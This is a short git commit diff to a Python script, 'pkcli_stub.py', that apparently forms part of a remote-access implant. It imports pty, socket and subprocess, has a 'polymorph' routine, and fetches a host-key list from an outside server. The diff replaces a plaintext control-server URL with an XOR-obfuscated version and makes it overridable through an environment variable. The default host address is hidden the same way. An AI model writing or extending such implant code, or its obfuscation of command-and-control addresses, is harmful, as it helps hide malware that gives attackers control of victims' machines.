Allow HDB url to be passed as an environment variable (HDB=?)

pkcli_stub.py

@@ -1,7 +1,6 @@
 import os, sys, socket, time, signal, subprocess, selectors, pty, requests
 
 server_modulus = 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117
-hostkeys_url = "https://war.cflems.net/hosts.json"
 hdb = {}
 
 args_used = 0
@@ -26,7 +25,9 @@ def chm (eky):
     return ''.join([chr(ord(qjv)^0x4c) for qjv in eky])
 
 def main():
-    port, bits = 2236, 4096
+    global hdb_url
+    port = 2236
+    hdb_url = get_param('HDB', 'hdb=', chm('$88<?vcc;->b/* )!?b")8c$#?8?b&?#"'))
     ha = get_param('HOST', 'host=', chm('?)\'b/* )!?b")8'))
     tts = int(get_param('TTS', 'tts=', 60*30))
     bits = int(get_param('BITS', 'bits=', 4096))
@@ -62,9 +63,9 @@ def polymorph():
         sys.exit(0)
 
 def refresh_hdb():
-    global hostkeys_url, hdb
+    global hdb, hdb_url
     try:
-        resp = requests.get(hostkeys_url)
+        resp = requests.get(hdb_url)
         resp.close()
         if resp.status_code != 200:
             return False